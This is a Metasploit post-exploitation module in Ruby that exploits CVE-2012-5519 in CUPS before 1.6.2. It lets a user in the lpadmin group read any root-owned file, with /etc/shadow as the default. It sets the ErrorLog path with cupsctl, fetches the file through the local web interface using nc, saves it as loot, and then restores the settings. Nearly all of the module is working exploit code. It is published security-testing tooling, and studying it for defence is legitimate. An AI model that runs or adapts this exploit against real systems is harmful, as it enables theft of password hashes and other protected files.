metasploit-framework/modules/post/multi/escalate/cups_root_file_read.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

class Metasploit3 < Msf::Post
	include Msf::Post::File
	include Msf::Post::Common

	LP_GROUPS = ['lpadmin', '_lpadmin']

	attr_accessor :web_server_was_disabled, :error_log_was_reset

	def initialize(info={})
		super( update_info( info, {
			'Name'           => 'CUPS 1.6.1 Root File Read',
			'Description'    => %q{
				This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
				CUPS allows members of the lpadmin group to make changes to the cupsd.conf
				configuration, which can specify an Error Log path. When the user visits the
				Error Log page in the web interface, the cupsd daemon (running with setuid root)
				reads the Error Log path and echoes it as plaintext.

				This module is known to work on:

				- Mac OS X < 10.8.4
				- Ubuntu Desktop <= 12.0.4

				...as long as the session is in the lpadmin group.

				Note: This might also work as a root write exploit, if you can ignore the log
				formatting. The page_log (PageLog= directive) would be useful for ths.
			},
			'References'     =>
				[
					['CVE', '2012-5519'],
					['OSVDB', '87635'],
					['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
				],
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					"Jann Horn", # discovery
					"joev <jvennix[at]rapid7.com>" # metasploit module
				],
			'DisclosureDate' => 'Nov 20 2012',
			'Platform'       => ['osx', 'linux']
		}))
		register_options([
			OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"])
		], self.class)
	end

	def check
		user = cmd_exec("whoami")
		user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
		if (user_groups & LP_GROUPS).empty?
			print_error "User not in lpadmin group."
			return Msf::Exploit::CheckCode::Safe
		else
			print_good "User in lpadmin group, continuing..."
		end

		if ctl_path.blank?
			print_error "cupsctl binary not found in $PATH"
			return Msf::Exploit::CheckCode::Safe
		end

		config_path = cmd_exec("which cups-config")
		config_vn = nil

		if not config_path.blank?
			# cups-config not present, ask the web interface what vn it is
			output = get_request('/')
			if output =~ /title.*CUPS\s+([\d\.]+)/i
				print_status "Found CUPS #{$1}"
				config_vn = $1.strip
			else
				print_error "Could not determine CUPS version."
				return Msf::Exploit::CheckCode::Unknown
			end
		else
			config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed
		end

		config_parts = config_vn.split('.')
		if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2
			Msf::Exploit::CheckCode::Vulnerable
		else
			Msf::Exploit::CheckCode::Safe
		end
	end

	def run
		if check == Msf::Exploit::CheckCode::Safe
			print_error "Target machine not vulnerable, bailing."
			return
		end

		defaults = cmd_exec(ctl_path)
		@web_server_was_disabled = defaults =~ /^WebInterface=no$/i

		# first we set the error log to the path intended
		cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
		cmd_exec("#{ctl_path} WebInterface=yes")
		@error_log_was_reset = true

		# now we go grab it from the ErrorLog route
		file = strip_http_headers(get_request('/admin/log/error_log'))

		# and store as loot
		f = File.basename(datastore['FILE'])
		loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
		print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
	end

	def cleanup
		print_status "Cleaning up..."
		cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
		cmd_exec("#{ctl_path} ErrorLog=/var/log/cups/error_log") if error_log_was_reset
		super
	end

	private

	def ctl_path; @ctl_path ||= cmd_exec("which cupsctl"); end
	def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end

	def get_request(uri)
		output = perform_request(uri, 'nc -j localhost 631')

		if output =~ /^usage: nc/
			output = perform_request(uri, 'nc localhost 631')
		end

		output
	end

	def perform_request(uri, nc_str)
		cmd_exec(['printf', "GET #{uri}\n\r\n\r".inspect, '|', nc_str].join(' '))
	end
end